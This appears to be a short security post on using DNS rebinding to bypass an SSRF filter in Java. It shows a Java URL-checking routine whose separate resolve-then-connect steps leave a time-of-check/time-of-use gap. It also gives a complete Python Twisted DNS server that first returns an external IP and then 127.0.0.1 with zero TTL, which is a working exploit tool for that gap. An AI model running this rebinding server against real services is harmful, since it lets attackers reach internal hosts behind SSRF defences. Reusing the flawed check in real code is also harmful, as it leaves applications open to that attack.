Use DNS Rebinding to Bypass SSRF in Java

/*
        * check SSRF (判断逻辑为判断URL的IP是否是内网IP)
        * 如果是内网IP，返回false，表示checkSSRF不通过。否则返回true。即合法返回true
        * URL只支持HTTP协议
        * 设置了访问超时时间为3s
     */
    public static Boolean checkSSRF(String url) {

        HttpURLConnection connection;
        String finalUrl = url;
        try {
            do {
                // 判断当前请求的URL是否是内网ip
                Boolean bRet = isInnerIpFromUrl(finalUrl);
                if (bRet) {
                    return false;
                }

                connection = (HttpURLConnection) new URL(finalUrl).openConnection();
                connection.setInstanceFollowRedirects(false);
                connection.setUseCaches(false); // 设置为false，手动处理跳转，可以拿到每个跳转的URL
                connection.setConnectTimeout(3*1000); // 设置连接超时时间为3s
                //connection.setRequestMethod("GET");
                connection.connect(); // send dns request
                int responseCode = connection.getResponseCode(); // 发起网络请求 no dns request
                if (responseCode >= 300 && responseCode < 400) {
                    String redirectedUrl = connection.getHeaderField("Location");
                    if (null == redirectedUrl)
                        break;
                    finalUrl = redirectedUrl;
                    // System.out.println("redirected url: " + finalUrl);
                } else
                    break;
            } while (connection.getResponseCode() != HttpURLConnection.HTTP_OK);
            connection.disconnect();
        } catch (Exception e) {
            return true;
        }
        return true;
    }

    /*
        内网IP：
        10.0.0.1 - 10.255.255.254       (10.0.0.0/8)
        192.168.0.1 - 192.168.255.254   (192.168.0.0/16)
        127.0.0.1 - 127.255.255.254     (127.0.0.0/8)
        172.16.0.1 - 172.31.255.254     (172.16.0.0/12)
    */
    public static boolean isInnerIp(String strIP) throws IOException {
        try{
            String[] ipArr = strIP.split("\\.");
            if (ipArr.length != 4){
                return false;
            }

            int ip_split1 = Integer.parseInt(ipArr[1]);

            return (ipArr[0].equals("10") ||
                    ipArr[0].equals("127") ||
                    (ipArr[0].equals("172") && ip_split1 >= 16 && ip_split1 <=31) ||
                    (ipArr[0].equals("192") && ipArr[1].equals("168")));
        }catch (Exception e) {
            return false;
        }

    }
    /*
        * 域名转换为IP
        * 会将各种进制的ip转为正常ip
        * 167772161转换为10.0.0.1
        * 127.0.0.1.xip.io转换为127.0.0.1
    */
    public static String DomainToIP(String domain) throws IOException{
        try {
            InetAddress IpAddress = InetAddress.getByName(domain); //  send dns request
            return IpAddress.getHostAddress();
        }
        catch (Exception e) {
            return "";
        }
    }

    /*
        从URL中获取域名
        限制为http/https协议
    */
    public static String getUrlDomain(String url) throws IOException{
        try {
            URL u = new URL(url);
            if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
                throw new IOException("Protocol error: " + u.getProtocol());
            }
            return u.getHost();
        } catch (Exception e) {
            return "";
        }

    }

from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
    def _doDynamicResponse(self, query):
        name = query.name.name
        if name not in record or record[name]<1:
            ip = "35.185.163.135"
        else:
            ip = "127.0.0.1"
        if name not in record:
            record[name] = 0
        record[name] += 1
        print name + " ===> " + ip
        answer = dns.RRHeader(
            name = name,
            type = dns.A,
            cls = dns.IN,
            ttl = 0,
            payload = dns.Record_A(address = b'%s' % ip, ttl=0)
        )
        answers = [answer]
        authority = []
        additional = []
        return answers, authority, additional
    def query(self, query, timeout=None):
        return defer.succeed(self._doDynamicResponse(query))
def main():
    factory = server.DNSServerFactory(
        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
    )
    protocol = dns.DNSDatagramProtocol(controller=factory)
    reactor.listenUDP(53, protocol)
    reactor.run()
if __name__ == '__main__':
    raise SystemExit(main())